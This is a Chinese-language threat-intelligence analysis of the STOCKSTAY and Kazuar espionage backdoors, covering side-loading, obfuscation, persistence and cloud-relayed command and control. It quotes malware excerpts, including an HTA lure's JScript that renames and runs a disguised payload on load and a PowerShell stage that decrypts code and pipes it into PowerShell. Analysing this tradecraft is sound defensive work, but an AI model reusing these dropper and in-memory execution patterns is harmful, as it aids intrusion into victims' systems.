1. 簡介

進階持續性威脅(Advanced Persistent Threat, APT)的樣貌已有顯著演變,長期運作的網路間諜行動在基礎架構隱藏與模組化惡意軟體開發方面,展現出越來越高的技術成熟度[1] 。此份研究報告聚焦於 STOCKSTAY 與 Kazuar 後門的技術細節,它們是專為長期情報蒐集而設計的客製化工具包核心。不同於機會主義的 Threat actor,這些以間諜活動為主的團體優先考量隱蔽性、持續性,以及濫用合法雲端服務,將惡意的命令與控制(C2)流量混入正常的網頁活動中。

現代 APT 操作中一項關鍵趨勢是轉向「living-off-the-cloud」(LotC)戰術,攻擊者利用全球雲端基礎架構供應商來代管惡意元件[2] 。此策略能有效繞過依賴封鎖新註冊或可疑網域的傳統邊界防禦。這些操作的技術成熟度也進一步體現在多階段感染鏈、跨平台 Stager(以 C#、Rust 和 Go 等語言開發),以及用來躲避靜態分析動態分析的精緻側載機制[2]

Kazuar 和 STOCKSTAY 都用同一套演算法藏後門?揭開 Squirrel3 在 APT 攻擊中的神秘角色! | 資訊安全新聞

2. 多階段執行與側載機制

部署進階後門時,常採用三元組合式手法,包含一個無害的可執行檔、一個惡意 DLL 載入器,以及一個加密的資料檔案[2] 。此技術一般稱為 DLL 側載(DLL side-loading),它利用 Windows DLL 搜尋順序,誘使合法的應用程式載入惡意函式庫。

2.1 Kazuar 側載鏈

在 Kazuar 生態系統中,感染程序從執行一個合法的宿主二進位檔開始。下圖說明了 Kazuar 載入器在執行階段的技術流程:

sequenceDiagram participant OS as Operating System participant Benign as LaunchGFExperience.exe (Benign) participant Loader as LaunchGFExperienceLOC.dll (Malicious) participant Payload as Kazuar Implant (In-Memory) participant C2 as Command & Control (WebSocket/HTTPS) OS->>Benign: Execute process Benign->>Loader: Load DLL (Side-loading) Loader->>Loader: Perform Anti-Analysis Checks Loader->>Loader: Decrypt Embedded Resources Loader->>Payload: Map & Execute in Memory Payload->>OS: Enumerate System Information Payload->>C2: Establish Covert Channel

載入器的實作常使用 PowerShell 來啟動這些合法的二進位檔。例如,Kazuar 載入器曾被觀察到使用以下命令來觸發側載鏈[1]

  1. # Side-loads LaunchGFExperienceLOC.dll, the Kazuar loader
  2. # This command launches the legitimate host binary from the NVIDIA utility path
  3. Start-Process -FilePath "C:\Program Files (x86)\NVIDIA utils\Driver\GFExperience\LaunchGFExperience.exe";

3. 惡意軟體元件分析:STOCKSTAY 與 Kazuar

STOCKSTAY 後門是一個多元件的 .NET 框架,專為廣泛的主機控制與任務派發而設計。它採用多層混淆與偽裝手法,以利在目標系統上保持不被發現。

3.1 混淆與執行時期反混淆

STOCKSTAY 使用一個名為 K1MORPHER 的自訂類別來隱藏其核心邏輯。該類別從「Squirrel3」偽隨機雜訊函數衍生出金鑰串流,以便需要時解密字串和資料[1] 。使用此類數學雜訊函數進行混淆,能顯著增加靜態特徵碼偵測的難度。

  1. // K1MORPHER runtime deobfuscation keystream (reconstructed from the .NET CIL bytecode)
  2. // This function is used to decrypt strings, integers, and arrays on demand.
  3. uint32_t squirrel3(int position, uint32_t seed) {
  4. uint32_t m = (uint32_t)position;
  5. m *= BIT_NOISE1; // Constant noise factor 1
  6. m += seed; // Incorporate the seed
  7. m ^= (m >> 8); // Bitwise XOR and shift
  8. m += BIT_NOISE2; // Constant noise factor 2
  9. m ^= (m << 8); // Bitwise XOR and shift
  10. m *= BIT_NOISE3; // Constant noise factor 3
  11. m ^= (m >> 8); // Final bitwise XOR and shift
  12. return m;
  13. }

3.2 透過誘餌進行初始存取與執行

初始存取常透過魚叉式網路釣魚附件達成。一個值得注意的誘餌是內含惡意 HTA 檔案的 RAR 壓縮檔,該檔案偽裝成軍用薪資計算器。HTA 內含 JScript,會在載入時自行啟動,重新命名偽裝的 payload,並執行下一階段[1]

  1. function renameAndRunFile() {
  2. try {
  3. // The payload is initially shipped with a benign .dat extension to evade detection
  4. var oldName = "calculator_2025_files\\styles.dat";
  5. // It is renamed to .exe at runtime to enable execution
  6. var newName = "calculator_2025_files\\styles.dat.exe";
  7. var fso = new ActiveXObject("Scripting.FileSystemObject");
  8. if (fso.FileExists(oldName)) {
  9. fso.MoveFile(oldName, newName); // Rename .dat to .dat.exe
  10. var shell = new ActiveXObject("WScript.Shell");
  11. // Execute the STOCKSTAY.MARKETMAKER downloader component
  12. shell.Run('"' + newName + '"', 1, false);
  13. }
  14. } catch (e) { }
  15. }
  16. // Automatically trigger the execution when the HTA is rendered
  17. window.onload = function () { renameAndRunFile(); };

4. 隱蔽與持續性策略

為確保長期潛伏,這些後門實作了 redundant persistence 機制與環境金鑰驗證。

4.1 環境金鑰驗證

使用執行護欄以防止在沙箱環境中被分析。STOCKSTAY 與 Kazuar 經常將其解密過程與目標的電腦名稱或網域名稱綁定[1] 。這確保惡意軟體只有在執行於預期受害者的主機時才會完全啟動。

4.2 具躲避性的持續性技術

持續性常透過多種途徑建立。例如,ApolloShadow 行動利用隱藏的本機管理員帳戶來確保能重新進入系統[1] 。相對地,STOCKSTAY 依賴登錄檔 Run 機碼與啟動資料夾捷徑。下表比較了這些間諜工具包與其他當代惡意軟體家族(如 ResolverRAT [3] )中觀察到的持續性方法:

功能 STOCKSTAY / Kazuar [1] ResolverRAT [3]
持續性方法 登錄檔 Run 機碼、啟動捷徑、排程工作 多重登錄項目(多達 20 個)、AppData/Startup 資料夾
隱蔽技術 偽裝成合法軟體(例如 PDF 檢視器、NVIDIA 工具程式) 登錄機碼與檔案路徑的 XOR 混淆
反分析 環境金鑰驗證(主機名稱/網域雜湊) 資源解析器劫持、環境指紋辨識

5. 命令與控制(C2)基礎架構

C2 架構專為韌性與隱蔽性而設計,利用 multi-hop channel 與合法的網路服務。

5.1 Multi-Hop Relay 與合法服務

STOCKSTAY 透過名為 STOCKBROKER 的元件,將 C2 流量經由安全的 WebSocket(WSS)進行隧道傳輸。流量通常會經由 Cloudflare Workers 或 GitHub 等無伺服器平台進行路由,以混入正常的網路流量中[1] 。這種 multi-hop 方法確保受害主機永遠不會直接與主要 C2 伺服器通訊。

5.2 透過自訂協定進行安全通訊

Kazuar 的傳遞鏈常涉及巢狀加密。例如,基於 PowerShell 的階段可能使用 TripleDES 在執行前解密後續的 payload[1]

  1. # Excerpt of the Kazuar delivery decryptor using 3DES-CBC with hardcoded key and IV
  2. $tripleDES = [System.Security.Cryptography.TripleDES]::Create();
  3. $tripleDES.Key = [Convert]::FromBase64String("&lt;base64-encoded-key&gt;");
  4. $tripleDES.IV = [Convert]::FromBase64String("&lt;base64-encoded-IV&gt;");
  5. $decryptor = $tripleDES.CreateDecryptor();
  6. # Decrypt the encrypted bytes into the plain text payload
  7. $plainBytes = $decryptor.TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length);
  8. $decryptedText = [System.Text.Encoding]::UTF8.GetString($plainBytes);
  9. # Pipe the decrypted code directly into PowerShell for in-memory execution
  10. $decryptedText | powershell -noprofile -;

6. 結論

對 STOCKSTAY 與 Kazuar 生態系統的技術分析揭示了一個高度適應性的威脅環境,其中隱蔽性與持續性至關重要。透過將 C2 基礎架構與合法雲端服務整合,並採用多階段、跨語言的工具包,這些操作能有效繞過傳統安全措施。對側載與 LotC 戰術的依賴,凸顯了防禦者必須超越以入侵指標(IOC)為基礎的偵測,轉向行為分析與監控環境中合法 API 使用情況的必要性。